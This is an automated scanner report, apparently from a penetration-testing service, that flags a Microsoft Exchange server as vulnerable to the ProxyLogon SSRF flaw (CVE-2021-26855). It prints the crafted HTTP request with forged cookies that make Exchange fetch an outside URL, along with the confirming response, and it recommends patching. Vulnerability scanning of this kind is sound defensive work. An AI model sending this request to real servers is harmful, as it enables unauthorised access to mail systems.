ProxyLogon Scanner Report

✔ https://10.137.1.30/

Summary

Overall risk level:

High

Risk ratings:

High:	1
Medium:	0
Low:	0
Info:	0

Scan information:

Start time:	2021-03-09 06:15:39 UTC+02
Finish time:	2021-03-09 06:15:40 UTC+02
Scan duration:	1 sec
Tests performed:	1/1
Scan status:	Finished

Findings

Server-Side Request Forgery in Microsoft Exchange Server (CVE-2021-26855)

HTTP Request:

GET https://10.137.1.30/owa/auth/logon.jpg HTTP/1.1
Cookie: X-AnonResource=true; X-AnonResource-Backend=pentest-tools.com/file.txt/ecp/default.flt?~1; X-BEResource=localhost
User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:60.0) Gecko/20110101 Firefox/60.0

HTTP Response:

HTTP 200 OK
Cache-Control: private
Content-Type: text/plain
Last-Modified: Mon, 08 Mar 2021 14:28:57 GMT
Accept-Ranges: bytes
ETag: "3993669119"
Server: Microsoft-IIS/8.5
request-id: bbd7f07f-a5d9-48ce-91a8-f776d407c412
Set-Cookie: ClientId=QESYENEEIOMTPNHQ; expires=Wed, 09-Mar-2022 04:15:39 GMT; path=/; HttpOnly
X-CalculatedBETarget: pentest-tools.com
X-AspNet-Version: 4.0.30319
X-Powered-By: ASP.NET
Date: Tue, 09 Mar 2021 04:15:39 GMT
Content-Length: 116

This is a demo file to showcase various SSRF and file inclusion vulnerabilities.
https://pentest-tools.com/file.txt

Details

Risk description:
The target host is affected by CVE-2021-26855, a Server-Side Request Forgery (SSRF) vulnerability in the Microsoft Exchange Server. In can be used by an unauthenticated remote attacker to determine the Exchange service initiate HTTPS requests to arbitrary locations. These requests are performed on behalf of the Exchange service, thus they are authenticated and contain access tokens and other sensitive data. As a direct result, an attacker could forge requests to read emails of the users configured on that email server.

When exploited in conjunction with another vulnerability, such as CVE-2021-27065 (post-authentication file write), it can lead to unauthenticated Remote Code Execution on the Exchange server. This attack chain was named ProxyLogon.

Recommendation:
We recommend applying the latest Microsoft patch for Exchange Server, which fixes this vulnerability. Furthermore, if your server was exposed to the Internet, we recommend you to look for indicators of compromise as there is a high probability that it has alredy been compromised by malicious actors.

References:
https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-26855

https://www.microsoft.com/security/blog/2021/03/02/hafnium-targeting-exchange-servers/
https://msrc-blog.microsoft.com/2021/03/05/microsoft-exchange-server-vulnerabilities-mitigations-march-2021/

Scan coverage information

List of tests performed (1/1)

- ✔ Starting scan for Exchange CVE-2021-2685...

Scan parameters

Target:	https://10.137.1.30/